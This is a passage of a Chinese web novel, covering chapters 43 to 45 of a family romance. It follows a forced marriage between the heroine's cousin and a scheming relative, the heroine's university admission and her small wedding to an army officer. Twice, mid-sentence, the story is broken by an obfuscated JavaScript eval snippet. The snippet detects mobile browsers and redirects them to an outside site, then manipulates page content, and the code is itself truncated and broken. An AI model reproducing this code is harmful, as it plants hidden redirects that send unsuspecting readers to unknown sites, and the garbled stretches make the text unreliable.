即便是真的如愿不用去边防,失去了清白之身的蒋晓先以后在燕城也难嫁入所谓的好人家。与其到时候发愁,不如现在先抓住聂杰英。虽然这人有些滑头,但好在有一副能看的皮相,这是蒋晓先最拒绝不了的。而且聂宇有理由怀疑这两人早已经暗通款曲,否则如何解释聂杰英这些日子以来的反常,恐怕她这位堂哥还曾为被蒋晓先看上而沾沾自喜呢! 照此分析,聂宇甚至都觉得今天这一切是这俩人计划好的,这也是他们将彼此的“私情”过明路的一种方式。至于她的舅舅蒋云鹏——或许一开始并没有参与进来,但随着事态一步步的发展,考虑到当下和日后的种种,他也做出了跟蒋晓先同样的选择。只能说,不愧是一家人! 想明白这一点后,聂宇没再急着说话。反正对方已经图穷匕见,倒是他们需要仔细考虑下该如何应对。 “不行。”谢静芳骤然出声,“杰英在老家有谈了好几年的对象,已经到了谈婚论嫁的地步,怎么能舍了她另娶呢!” 她看向聂杰英,问道:“你做出那样的事之前,有没有想过小洁!” 小洁,是聂杰英女友的小名。 聂杰英此刻狼狈不已,他抓了抓头发,抬眸有些心虚地看着谢静芳:“奶奶,你忘了,来燕城之前我已经跟小洁分手了,我们俩现在没什么关系了……” 谢静芳一窒。 “好、好、好。”她深吸一口气,凝视着聂杰英,竟忽然笑了出来,“照你的意思,是愿意娶晓先了,是不是?” “他凭什么不能娶我?这一个月以来我们两个相识相知相恋,会做出那样的事来,很大一部分原因也是情不自禁,并不是我们不知廉耻!” 蒋晓先说着哀怨地看了聂杰英一眼,似乎是在怪他的多情害他们陷入如今的境地。但谁都听得出来,话里话外她是在维护聂杰英,在顺着他的话往下讲的。 而聂杰英呢,原本以为蒋晓先方才的哭泣是想将所有的事情都推到他头上,心里为此惶惶不已。现在看来,她还是在乎自己的,想跟自己在一起。于是聂杰英有底气了,他站起来,鼓起勇气与谢静芳对视。 谢静芳这才明白,原来今天这场闹剧也有自己孙子的一份儿,他打的就是攀上蒋晓先,攀上蒋家的主意啊。纵使被抓包的事非他所愿,但今天,他是注定不会站在她这一边了。 “那这样说来,这俩孩子也算是你情我愿了。虽然事情办的难看了些,但、但也不是没办法收场。” 蒋云鹏适时圆场道。 其实他此刻也是心惊的状态,因为他也没想到闺女竟在自己眼皮子底下跟这个姓聂的勾搭上了。但事已至此,他也不能再说什么。好在姓聂的跟老家那个已经断了,勉强当他的女婿也不是不可以。以晓先的性子,这大概也是对她不错的一个选择:既能不去边防,也能顺便把她打发出去,以后不会再为她的事烦心! “这样说来,你是非要把晓先嫁给聂家了?”蒋铸听明白了儿子的意思,沉声问道。 “那还能怎么办?”蒋云鹏假装不耐和无奈地一摊手,“事情已经是这样了!” 蒋铸气急,却也一时不知该如何是好,只得看向谢静芳,问一问她的意思。 此时谢静芳已经冷静了下来,她抬眸扫视过面前的一干人,想了想说:“如果真是两情相悦的事,那我们做长辈的,确实不好棒打鸳鸯。只是——”她一顿,在所有人的注视下,复又开口,“晓先如果选择嫁给我们杰英,这燕城你是不能待了,得跟他回旬城去。这是我答应你们婚事的唯一条件。” “奶奶——” “你——” 聂杰英和蒋晓先同时开口,蒋云鹏也是一副震惊模样。唯独蒋铸,似乎是在认真思考这件事。 “小宇奶奶说的是,晓先既然嫁入聂家,就是你们聂家的媳妇,肯定要跟着杰英走。”一停,看向蒋晓先和蒋云鹏父女,“愿不愿意去旬城,你们自己考虑吧。” “可是爷爷,我不回旬城啊。”聂杰英立刻说,“我这回是来燕城找工作的,打算在这边长期发展呢!” 要是回旬城,那他的如意算盘不就要全落空了吗,他还、他还何至于娶蒋晓先! “你不用做这个想头了。”回答他的是谢静芳,“才来燕城一个月就闯出这么大的祸来,再待下去真不知道你会变成什么样。你给我老实回旬城去,在你爸妈眼皮子底下和晓先老老实实过日子!” “……”话虽如此,可也要蒋晓先愿意啊! 聂杰英欲哭无泪地回头看蒋晓先一眼,果不其然,对方已经开始跺脚抹泪了。 - 今晚的讨论,到此无疾而终,两边长辈各领着自家的孽障走了。 蒋家这边,一回到蒋晓先的房间,蒋云鹏就指着她鼻尖咒骂,骂她糊涂和愚蠢。蒋晓先趴在枕头上嘤嘤哭泣,心中也是无奈:不这样做她就得去边防,可这样做了她就相当于自毁清白,以后圈内合适的子弟没一个会娶她。这样的境地,实属两难。 好在,这一个月跟聂杰英相处下来,蒋晓先是喜欢他的,做那事时也觉得欢喜。只是,想跟他在一起就得去旬城,这是蒋晓先不能忍受的。 “爸,我不去旬城,你帮我求求爷爷吧。”蒋晓先坐起身,哀求父亲道。 “那你就别嫁聂杰英,反正我看那小子也靠不住。” “不许你这样说他!” 蒋晓先瞪起眼睛,蒋云鹏气的想扇她巴掌,手都举起来,硬是被魏莹给劝了下来。 “都什么时候了,你还跟孩子吵!”魏莹假意斥责了丈夫一声,又去安慰蒋晓先,“晓先,你也别跟你爸犟,先解决眼前的事要紧。” “有你什么事?” 蒋晓先此刻已经无所顾忌,一个好脸也不肯给魏莹。魏莹心中虽然气极,但还是忍了下来,只目光盈盈地看着丈夫。 蒋云鹏登时怜香惜玉起来,正要再训斥女儿,便听妻子说:“其实也不是没有办法。”魏莹轻轻开口,吸引了父女的目光,“咱们可以以退为进。” “……你详细说说?”蒋云鹏眼睛一亮。 “就是——”魏莹停顿了一下,略吸一口气,说,“先让晓先去旬城待个一年半载,这期间赶紧和杰英有个孩子,到时候以孩子为理由要求回燕城养胎,还怕老爷子不答应吗?” “……”蒋晓先和蒋云鹏对视一眼,都不说话了。 - 招待所里,房间的门一关上,谢静芳就狠狠地给了聂杰英一巴掌。聂杰英被打懵了,回过神来捂着脸在老太太面前跪下了,眼泪也随之落了下来。 谢静芳最瞧不上的就是男人的眼泪,她冷着一张脸,问道:“你想好了,确实打算抛下小洁,娶蒋晓先?” “……” 聂杰英没有立刻回答。 其实他此刻心头也是一团乱麻。原本私下里跟蒋晓先厮混的时候,他确实觉得攀上她和蒋家更有利于自己未来的发展。然而事到临头了,他又有些怀念起小洁的温柔。这两个女人,若论哪个相处起来更舒心,答案绝对是小洁,可蒋晓先能给他的东西,又是包括小洁在内的大多数女人所给不了的。 “奶奶,您说小洁知道了这事儿之后,还会要我吗?奶奶,如果、如果我不娶蒋晓先,今天这事儿能不能不告诉小洁?” 聂杰英想了想,恳求谢静芳道。 “你还打算瞒着小洁?都到这一步了,你还打算假装无事发生?” 谢静芳简直对聂杰英失望至极,她不明白,自己的孙子内里竟会是这样的人! 谢静芳干脆是连骂他都懒得骂了,一抬手让他滚。聂杰英还想说什么,被推门进来的聂宇拦住了,她没开口赶他,只是那样平静地看着他,却让聂杰英胆怯了。他站起来,离开了。 待房间门关上之后,聂宇扶着奶奶在床边坐下,一边轻抚着她的后背帮她顺气,一边问道:“奶奶,您真的愿意让我哥娶蒋晓先?那可真是家无宁日了。” 如果聂杰英不是她堂哥,那聂宇很乐得见这两人走到一起,毕竟恶人自有恶人磨。但是,她又很了解自己的奶奶,知道她即便是再恨聂杰英的不争气,也不愿意看他真过得不好。 “澄澄啊,你真觉得这事儿我说了算吗?”谢静芳转眸看聂宇一眼,一张苍白的脸上满是疲惫和哀戚,“我现在唯一能做的,就是要求这俩人在结婚之后一定要回旬城。一旦他们留下,又彼此捆绑到一起,对你就是无穷的祸害。那个蒋晓先真当我不知道她挑这个时候搞事是什么意思吗,就是想再毁一次你的高考啊。她的目标是你啊澄澄,我岂能让她如愿!” 老太太的眸光冷厉了起来,聂宇看着却觉得无比心疼。饶是这个时候,奶奶最先考虑到的仍是她。 “奶奶。” 聂宇一把抱住谢静芳,哽咽不已。 - 原本该是极快乐的一天,却是在这样一件糟心事中度过。当晚聂宇有些睡不着,照顾着谢静芳服药睡下后,她轻轻起身,披着衣服出了门,打算去招待所外走一走,散散心。 只是她才下到一楼大厅,便看见孟京阳从外面走了进来,无意地一抬眸,对上了她的视线。 -43- “你怎么——” 聂宇下意识想问他怎么过来了,一想他肯定是因为放心不下,便咽下了话头,慢慢朝他走了过去。 “怎么样了?”孟京阳问。 “没事。”聂宇先让他安心,又说,“我们出去说吧。” 两人去了附近的小花园,站定后,聂宇说:“他们要结婚。”一顿,又苦笑着补充了句,“是真爱呢。” 孟京阳有些意外,思忖过后,他说:“既然他们已经拿定了主意,那我们这些局外人也只能送上祝福了。” 这话说的,聂宇不知道他是出于真心还是在讥讽了。 “老太太怎么说?”孟京阳又问。 “我奶奶——她只说如果要结婚的话,就让蒋晓先和我哥一起回旬城去,她坚决不允许他们一起留在这里,怕他们再伤害我。”聂宇微垂下眼,“你也知道,这次的事情,虽说蒋晓先是为了她自己,但她选择这个时候生事肯定也是准备把我算计进去的。所以,我奶奶是为了我……” 聂宇有些难过。好像她如何努力,都无法彻底让奶奶放心,从此不为任何事烦忧。 “老太太把你看做眼珠子,怎么疼你都不会觉得过。”孟京阳笑一笑,宽慰她,“如果你心里过意不去,以后就让老太太留在燕城,远离旬城那个是非地。” “……这样可以?”聂宇心动了,她最担心的就是如果蒋晓先也去了旬城,会给奶奶找麻烦,给她气受。 “有什么难的。”孟京阳说,“以后你在哪里读大学,就让老太太跟着去哪里,租一个房子的事。” 他坐了下来,抬眸看她,“如果你不跟我太见外的话,这些我都可以帮你办到。” 聂宇有些想哭了,这些日子以来,她欠孟京阳的真的太多太多。 “我还没有来得及谢谢你。”她声音低哑地说,“这次的事如果不是你先按下来,我——” “聂宇。”孟京阳打断她的话头,“如果我做不到所说的给你保护和自由,又凭什么要求你嫁给我呢?” “……”聂宇心里头都明白。可当初他答应是一回事,现在做到了又是另外一回事,是完全不同的感受,值得她铭记许久。 聂宇终于还是落下泪来,因为心中的百感交集。孟京阳只得叹息一声,起身,将人轻揽入怀。 “回去跟老太太商量下,尽量劝她留下来。至于你堂哥那边,木已成舟的事,不要为此太烦恼。无论离不离开燕城,他们算计你的那些事都不可能成,让老太太不要担心。” 聂宇“嗯”一声,用力抱了他一下,才松开手。 - 有了孟京阳给的底气,接下来在这件事上的处理上,聂宇和奶奶打算硬气一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501191|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但没想到,蒋晓先那边居然先妥协了,她愿意跟聂杰英回旬城。 聂杰英听到这个消息的时候也震惊了,回过神来后感动的眼眶发红,觉得这是遇到了真爱。聂宇和奶奶对视一眼,皆是无言。 两家为此又开了一个“碰头会”,确定蒋晓先不是心血来潮,而是真的下定决心,便将这件事定了下来。蒋铸的意思是打算让蒋晓先和聂杰英在燕城这边领证,顺便两家坐下来一起吃个饭,算作仪式。于是谢静芳就打电话回旬城,通知大儿子和大儿媳来燕。 这对聂杰英和蒋晓先来说,又是一个机会。 在定下这桩亲事之后,两家就不阻拦这两个人的来往了,他们凑到一起,好生诉了番衷肠。聂杰英有些介意蒋晓先当初摆出的“受害者”姿态,觉得这有些对不起他对她的情谊。于是蒋晓先耐着性子安抚了他一番,说只有这样她才有立场强硬地要求他娶她,否则以谢静芳的性子,他们俩的事不定被耽搁到什么时候呢。 聂杰英接受了这个说法,又反过来宽慰蒋晓先,说等爸妈来燕城之后,会让他们劝劝奶奶,争取让他们两人婚后留在这里。蒋晓先对此充满期待,两人的感情竟因此而升温了。 聂宇看着两人如此无所顾忌,心里有些生气。谢静芳反倒很坐得住,她很清楚,自己还有一场仗要打。 果不其然,在聂宇大爸大妈抵达燕城的当晚,他们就来到谢静芳和她的住处,关起门来同她密谈。 “妈,之前不是说好了么,杰英来燕城是来工作的。现在不过是多了一个媳妇的事儿,怎么又让回去了?这不是耽搁了孩子的将来吗?”聂传洋说道。 “多了个媳妇儿?”谢静芳瞥他一眼,“这个媳妇怎么来的,你们心里没数?” “可是妈,现在蒋家那边不是也认了,这皆大欢喜的事儿,您老怎么就这么想不开呢?” 王盈见丈夫吃瘪,立刻补上。 “皆大欢喜?谁欢喜了?是你,是我,还是被杰英甩在老家的周洁?”老太太声调拔高了一节,“我告诉你,在这件事里,杰英辜负的人不是一个两个,而是我们整个聂家,这不是一件喜事!” “那您说怎么办?”聂传洋低吼了声,“难不成不办了?我带着杰英回去?” “可以,我没意见。”老太太说完,掉过了脸,不再看他们。 王盈和丈夫对视一眼,彼此都在动脑筋。虽然这事儿办的是难看,但在他们看来,娶蒋晓先可比娶周洁好处多多了。以前总要靠着聂宇才能巴结上蒋家,现在直接娶回去蒋家一个姑娘,成了人家的正经亲家,这不是天大的好事吗?也不知道老太太在别扭什么! “妈,算我求您行吗,别为难杰英了,您可是他亲奶奶啊。”王盈说着,竟要开始抹泪了。 但谢静芳已经打定主意不吃她这套。 “我也可以不当他奶奶。”她说,“我早就对你们一家灰心失望。我不拦着你们娶她回家,但回去之后,你们过你们的,我过我的,相互之间不再来往!” “妈!” 聂传洋也急了,站起来,一脸难以置信地看着谢静芳。而谢静芳竟也是前所未有的坚定,母子俩对峙片刻,聂传洋先败下阵来。 聂宇一直在旁听着,此时见时机差不多,便走过去请大爸大妈先离开。王盈犹是不甘心,但她已经得知了聂宇和孟京阳在谈的消息,知晓那是个得罪不起的人,所以也不敢对她太强硬。夫妻俩不情不愿地走了。 在关上房门后,祖孙俩相对无言了片刻。 “奶奶,您别回去了,就在这里陪着我,好吗?” 聂宇恳求道,谢静芳听了,缓缓地摇了摇头:“澄澄,你哥是让我失望透顶,但是他毕竟是我的第一个孙子,小时候我也是亲过抱过的,哪里就这样舍得下。现在你大爸一家都被迷了眼,这样不行,得有个人在旁边提醒着……” “我不要,我不要你回去受这份罪。我才不在乎那么多,我只要你好好的。”聂宇说着,就快哭了。 “真能好好的吗?”谢静芳摸摸她的头,“就让我回去试试吧,等我完全死心了,就回来。再说了,老家还有你小姑陪我呢,他们一家都到城里来了。” 聂宇犹是不能放心,但她知道奶奶的性子最是说一不二,她劝不动她了。 “那您不要我了,是不是?”她低声有些委屈地问。 “胡说。”谢静芳轻斥,“但是澄澄啊,你现在确实是这个家里最让我放心的了。”一顿,“高考结束了,挑个日子,去和京阳把证领了吧。趁奶奶还在这里的时候,行不行?” “……”聂宇傻眼,“奶奶,你、你的意思是——” “我的意思是我答应了。”谢静芳笑着接过她的话,“这次的事多亏了京阳。所以说这一次的高考不仅是你的考试,也是京阳的大考。可喜可贺,你们都顺利通过了。” “……”聂宇心中有些欢喜,但更多的是酸涩。她晓得奶奶是真的打定主意要回家了,所以才要找个人托付。毕竟,她不只是她一个人的奶奶啊。 - 孟京阳直到三天后才得知自己通过了“考验”的好消息,因为这三天他都在燕郊开会,全封闭式,联系不便。 心情自然是畅快的,直到他听到聂宇说:“就简单选个日子好了,到时候我们两家再一起吃个饭。” “?”孟京阳讶异中带着失笑地看过去,“一辈子一次的事,就办的这么敷衍?” “??”这下轮到聂宇困惑了,“那还要怎么办?蒋晓先他们不也就——” 说到这里,聂宇知道自己失言了。怎么能拿蒋晓先聂杰英和他们比,呸呸呸! 孟京阳看她一脸难受的样子,就知道她已经自我惩罚了,便不再说她。只是回到原本的问题上,他还是不松口。 “再简单也要有个仪式,原则问题,不容商量。” 孟京阳如此说道,见聂宇犹是有些欲言又止,他当机立断道:“你先回去陪奶奶,其余的事,等我通知。” 22.44-45 -44- 聂宇回到招待所之后,把孟京阳的反应告诉了奶奶谢静芳,听得老太太直乐。 “他这也是不想委屈你,是好事嘛。” 聂宇这会儿已经想明白了,但她心里仍觉得惭愧。在她看来,她和孟京阳并不是纯粹地基于爱情而结的婚,搞得阵仗太大,她反倒会觉得过意不去。 然而当着奶奶的面,聂宇自然不能这么说。她只有微笑,做出一副很期待的样子。 - 在平定了所有的矛盾和内心的纠结之后,聂宇需要做的就是等待了。而在这之前,她的生活里需要重点关注的只有两件事,一件是高考志愿,另一件就是堂哥聂杰英和蒋晓先的领证仪式。 关于高考志愿,由于今年是燕城头一年实行考后估分报志愿,所以在考完第二天,聂宇就买来报纸,参考着上面给出的答案,对自己的总分进行估算。结果自然是喜人的,但报志愿时却犯了难。 燕城历来所实行的都是顺序志愿,当第一志愿落榜时,唯有在第二志愿录不满的情况下才能顺利进入待选队伍。于是这就让人不得不慎重考虑,尤其是在对分数已经大致有底的情况下,大多数考生都陷入了“既不想浪费一分又怕报的不好连续滑档”的两难中。 而聂宇在此基础上更是多了一层顾虑,她马上就要领证结婚了,所以在报考志愿的时候,不得不考虑学校的地理位置,因为她不确定孟京阳愿不愿意接受两地分居。 虽然他说了会给她最大限度的自由,但聂宇还是决定过问一下他的意见,更何况在这事上她确实需要找个人商量,干脆就放到一起谈了。 孟京阳是在快下班的时候接到的电话,挂了之后就直接驱车回了干休所,去了两人约好的小花园。聂宇已经在那里等他,她下午的时候刚刚游完泳,此刻穿着一件连衣裙,头发散落在脑后,看起来无比青春。然而等他对上她的眼神的时候,那种年龄感又瞬间被模糊了。孟京阳常常感慨,这就是聂宇那双眼的魔力。 聂宇看到孟京阳时也有些讶异,因他今日上身穿了件短袖便服,细看之下似乎有暗纹,衬得他整个人格外周正倜傥,聂宇不由笑了,迎着他走上去。 “吃过晚饭了?”孟京阳问,将手里提的塑料袋递上前,“路上买的水果,带回去给奶奶吃。” 不知从哪一天起,孟京阳称呼谢静芳时更多用“奶奶”这个词,甚至连姓都不带了。聂宇明白他的意思,一开始觉得有些赧然,后来慢慢就习惯了。 “谢谢啦。”聂宇笑说,又问他吃过没。 孟京阳自然不会让这个问题成为扰乱他们谈话的关键,轻点一下头就算是应答。于是聂宇挨着他坐下,开始同他商量事情。 孟京阳没想到她在这个问题上会这样纠结,甚至还把他考虑了进去,这让他有一丝欣悦。他先前说,他和她之间并不只有交易,他们在一起是要真正地开启属于两个人的生活。这一点,原来她听进去了。 “首先,聂宇——”孟京阳停顿了下,看着她说,“我认为以你的估分,尝试一下清大、燕大和科大都可以。至于你考虑的异地因素,我认为也不是问题。肯定是以你的学业为主,现在交通这样发达,到时候无论是你想回来还是我去看你,都还算方便。不过——” 孟京阳又停了下来,对上聂宇的视线,能感觉到她的呼吸慢了一拍,又缓缓收紧。 “可以远,但不要太远。那种需要花费两三天倒个几趟车才能到达的地方,我们不考虑,如何?” 聂宇放松下来,不由得被这句话逗乐了。 “当然,也没得那么多志愿让我报呀。” 她说这话时有些黏糊,显然是很满意孟京阳的回答。 夜风拂过,孟京阳握住聂宇的手,说:“以后我们肯定还会遇到这样的问题,作为一名军人,也许哪天一个命令下来就要移师换防也说不定。所以澄澄,以你自己为主,这是我对你的唯一期许。” 聂宇有些感动,但她同时还有一句话埋藏在心里没敢说出来,那就是:如果有一天他们真的距离很远了,他不会想她吗? — 高考报志愿的问题就这样解决了,接下来就是那对卧龙凤雏的领证仪式。 说是仪式,其实就是两家人简单吃顿饭,外姓的好友一个都没邀请,甚至连蒋云清都没来。说到底老爷子也是觉得这事办的不漂亮,若不是为了给两人过过明路省得外人笑话,他是一点都不想张扬的。 即便如此,到了这天,蒋晓先还是打扮的极为靓丽,好生地满足了一番聂杰英的虚荣心。两人相互依偎着,不知情的还以为这是打哪儿又来的一对金童玉女。 聂宇全程没怎么说话,就当看热闹。可蒋晓先却不知是喝多了还是怎样,下来之后拦住她,问她要祝福。 聂宇只觉得好笑,她先是祝他们百年好合早生贵子,然后又问了她一句:“晓先,一年前你看着我这个从小城里来的‘表姐’时,有没有想过一年后自己也要去那个地方?” 蒋晓先脸色立刻变了,显然,她还没有醉到听不懂人话办不了人事的地步。 “聂宇,你别太得意!”蒋晓先气道。 “我不得意,实际上我对你和聂杰英是好是坏都无所谓。只是晓先,如果哪天我知道你和聂杰英还有你那对公公婆婆给我奶奶气受,我会让你比今天还不如,你看我做不做得到。” “……” 蒋晓先咬牙切齿,脸都快变形。聂宇笑一笑,抬步离开。 招待所里,谢静芳吃过那顿饭就回来休息了,看着聂宇进门,招招手让她到自己跟前来。 “小宇,接下来就是你的大事了,奶奶等着……” “……” 聂宇微微红了脸。 这些日子以来,关于“仪式”的事孟京阳也不是没跟她沟通,但聂宇越听越咋舌。因为照着他的形容,她感觉这事儿非砸个十几二十万不能完,一定要这样大的排场吗? - 一定要。这是孟京阳的回答,甚至是整个孟家的意思。在他们看来,这还是精简压缩后的样子,按照孟锐挺的想法,他还想把自己所有的老战友老朋友叫来,一起托举和祝福这对年轻人。 因为父母不在了,他更要从方方面面想办法弥补孟京阳。 对此,孟京阳都有些无奈了,聂宇更不好再说什么。因为她能感觉到,孟家是把这件事当成一件大喜事来办,那她自然不能扫兴。只是这样一来,奶奶就要在燕城多待一些时日了,这也合她意。 在领证仪式结束之后,聂宇大爸一家准备启程回燕城了。他们原本还想借着聂宇的婚事多逗留一阵子,奈何日期迟迟定不下来,再加上聂传洋那边还有工作,所以他们只得先行离开。至于聂杰英,自然也在返乡的队伍里,聂传洋和蒋云鹏合力为他在旬城的电信局找了份工作,如此也算是有了着落。而蒋晓先则是什么也不想,回去专心做聂家的大少奶奶。眼下她只有一个任务,那就是尽快让肚子里揣一个,好借此返回燕城。 聂宇对此全然不在乎,在定下要办婚礼之后,她给曾经在照山结识的好友杨桃打了个电话,告诉了她这个消息。 杨桃在那头失语了好一阵。因为她没想到聂宇不仅把孟京阳“拉下了水”,而且两人居然还要结婚了。这妮子可比当初的她还敢想敢干啊。 “小羽毛,你厉害哟。”杨桃笑说。 “非要这样说的话,只能说我们俩是彼此的猎物,想要各取所需才能成。”聂宇认真想了想,说道。 “那可不一样。”杨桃说,“孟京阳那种人,真没感情怎么可能娶你,你就安心吧。” 聂宇当然知道。这些时日以来的接触和随之产生的情愫,只有她自己最清楚。只是很多都是她不愿为外人道的,所以才顺着杨桃的话说,也省得让人觉得她是在显摆。 “你怎么样了?和你那位朋友?”聂宇笑着问,她还记得在照山时经常和孟京阳一起的那个程泊宁呢。 杨桃沉默了,过了会儿才回答了句,还让人有些云里雾里。 “只能说我大意了,有些男人并不像所说的那么简单。”口吻里有种几不可察的苦涩。 “嗯?”聂宇没懂。 “就是说呢,在感情这件事上不要小看男人,他们可比我们以为的精明。程泊宁是,孟京阳也是。小羽毛,你以后的任务艰巨哦。” 情场失意的杨桃有些幸灾乐祸了,聂宇虽不能完全理解,但还是顺着她的话茬接了句:“没关系,反正我也不是盏省油的灯。” “那倒是,我这回相信了。” 杨桃哈哈笑着挂了电话,而聂宇在短暂的迷惑之后,也迅速将这番对话抛到了脑后。要到很久以后,她才能对这其中的道理有所体会和感悟。 -45- 在蒋晓先一行人离开一周后,聂宇终于迎来了自己高考的喜讯:她顺利被科大录取了。 虽然当时孟京阳建议她报考清大和燕大试试,但聂宇在考虑过后,还是选择了科大。一是在分数上她更为有把握,二是她选择的专业跟计算机有关,科大在这个领域也颇具优势。 这个结果让所有人都欣喜不已,因为聂宇不仅高中,还顺利地留在了燕城。 而就在众人商量着如何为她庆祝的时候,孟京阳那边也来了个“好消息”,他下部队的要求被批准了,职位是驻守在燕城周边的某甲种师一团的参谋长。说是参谋长,实则是按照团长后备役在培养,因为该团的现任团长劳仲辉身体欠佳,还有不到一年的时间就要退居二线了。然而该师又是燕城军区的王牌之一,一团作为该师的主力可谓是核心中的核心,所以上面在考察过后,就任命了孟京阳。 这是对孟京阳这一年多来工作成果的认可,但对于这一任命,不光是他本人,连孟静东都感到突然。作为孟京阳的大哥,他如何不知道他这段时间正在忙于筹备婚礼,非必要不会选择在此时将他下派。可他们到底是军人,以服从命令为天职,部队有需要,又是这样好的机会,无论是他还是孟京阳,都不可能说不。于是,事情就此成了定局。 在接到调令之后,孟京阳就知道这个婚礼是暂时办不成了,因为他的到岗日期是有限的,在这之前他还要完成工作交接,无论如何是抽不出时间筹备婚礼了。而他又不可能将这件事一径交给别人,所以只能延后。 孟京阳将这个消息告知了聂宇和谢静芳,某姑娘在听完之后第一反应是:“这个团距离燕城远吗?” “开车大概两个小时。”孟京阳说。 聂宇沉默了一瞬,然后又点点头,说:“还好,那你周末应该能回来吧?” 其实还是远的,但要是想,这两个小时对孟京阳来说不算什么。相比较车程,他此刻更为担忧的问题是,下了团以后还有没有像现在这样的整块时间,能够常常回来。 “能是能,前提是在有时间的情况下。”孟京阳说着,不由苦笑一下,“抱歉,聂宇。一直以来我确实想下部队,但没想到愿望达成是在这个时候。” “也没什么。”聂宇说,“就像你常说的那样,以自己为主。难得的机会,你肯定不能错过,只是婚礼——” 聂宇不得不问个清楚,因为一旁奶奶的脸色已经凝重了起来。 “这正是我想跟你们商量的事。”孟京阳说,“眼下这点时间大办是不能够了,我跟家里商量过后的意思是,先小范围举行一个仪式,等到年末或者何时我有大块时间的时候,再举行正式婚礼。到时候不管是在燕城还是在旬城办,孟家这边都没意见,但这个仪式一定要有,这是我对聂宇的承诺。” 谢静芳听完之后,脸色缓和了一些。她点一点头,说:“事情来得突然,这样安排也是无可奈何。既然如此,那咱们就都先简单点,我这边也不通知老家的人过来了,来去也麻烦。等到正式婚礼的时候,就还是办在燕城,亲近的家人都会来。至于剩下的,等你和澄澄什么时候回旬城,请大伙一起简单吃个饭就好。” “好。”孟京阳点一点头,说,“多谢您老的体谅。” “不体谅也没办法。”谢静芳半是抱怨半是玩笑地说,“就当是我们祖孙俩成为军属后上的第一堂课吧。” 如此一句话,冲淡了有些低沉的氛围。聂宇看着孟京阳,不由笑了。 其实对聂宇来说,不大办婚礼着实让她松了口气,但所谓的“简单举行个仪式”,却也不像她所以为的那样简单。这一点,她将在几天后有幸体会。 - 当正式的婚礼仪式暂时取消之后,一切都仿佛被按下了加速键一样,火速地被提上了日程。先是领证,然后是定饭馆,最后是搬家。 结了婚之后自然就不住蒋家了,两人私下商量过后,决定让聂宇搬到孟京阳现在的住处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504922|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一是距离科大还算近,平时来往方便;二是聂宇以后还打算尽量带学生,有这样一个地方也更从容。最最关键的是,她要从蒋家独立出来,从此尽量不再依靠他们。 蒋铸为此有些伤感。其实这一年来,除了零星给过几次钱,他对聂宇的关怀并不算多。非但如此,还给她添了许多堵。但在高考录取结果出来之后,聂宇最先感激的人是他,这让蒋铸觉得受之有愧。而且在此之外,在离开蒋家时,聂宇还给他买了不少东西,像是要把过去从他这里得到的都慢慢还回来似的。这让蒋铸觉得生气,又无可奈何。事到如今,他不得不承认他是欣赏这个孩子的,但他们两人之间的隔阂也不是那么容易消弭,只能慢慢来了。 蒋铸最终以自己的名义给聂宇添了不少东西,聂宇在谢静芳的劝解下,收下了。 当一切都安顿好之后,简单的仪式就来了。地点定在了一个饭馆,聂宇先前没去过,原本以为就是个字面意思上的“饭馆”,到了现场一看惊呆了,居然是一座旧时王府。至此她才明白,是自己天真了。 到了这天,聂宇换上了一件红色旗袍,跟孟京阳一起坐车去了现场。她很少穿的这么艳丽,旗袍更是从小到大都没有尝试过,但上身效果却是极好的。尤其是她长期游泳,手臂和腿部的肌肉线条格外优美,而旗袍露出来的主要也就是这两部分,所以她换上之后,惹得孟天音一顿哇哇称赞。 陪天音一起来的是谢念真。自聂宇跟他“摊牌”之后,俩人就正式成为了朋友,见面的次数也比先前少了很多。得知聂宇跟表哥孟京阳相了亲在处对象,谢念真很是讶异,为此还跟孟京阳别扭了一段时间。但最终他还是想明白了,知道他跟聂宇不可能的原因完全在自己,怪不得任何人,于是他就尽量放宽心态,来消化接受这个事实。 “祝福你,聂老师。” 心中到底没有完全平静,谢念真的笑容也有些勉强。但聂宇知道他是真心的,她与他相视一笑,让过往彻底成为过往。 在所有亲友都到齐之后,仪式正式开始了。让聂宇没想到的是,孟家这边居然还请了个证婚人,如此郑重,跟婚礼也不相上下了。她在舅舅蒋云鹏的护送下,站在台上和孟京阳一起接受大家的祝福,当最后握住彼此的双手时,她一时难掩心中的复杂情愫,眼眶有些发红。 孟京阳扛住众人的打趣,将聂宇轻轻揽在怀里,安慰了她几秒。聂宇轻笑,再抬起头时,已经恢复如初。 - 等到一切都结束时,时间已经不早。孟京阳又陪着聂宇回了趟干休所,在蒋孟两家各待了待之后,回到住处时已经是晚上九点。 之所以耽搁到这么晚,其实是聂宇不太想撇下奶奶一个人去孟京阳那里。但老太太怎么可能做电灯泡,祖孙俩关上门说了番悄悄话之后,她就把她打发走了。至于说的是什么,那当然是懂的都懂,聂宇听完之后心头更燥了,回去一路都没怎么说话。 孟京阳当然也对俩人之间这微妙的氛围有所感悟,是以一进家门他就逗聂宇,让她先去洗漱。话落之后,他能明显地感觉到聂宇呼吸一窒,但最终她居然什么也没说,拿起衣服就进了卫生间。 这倒让孟京阳略感意外。 其实聂宇早就做好了心理准备,因为正如孟京阳所说,他们是要生活,过日子。那夫妻间的事该做的肯定都要做,区别就在于有没有防护措施而已。但她到底还是年轻啊,有些只存在于想象中的事突然要发生在现实里,她不可能不紧张。 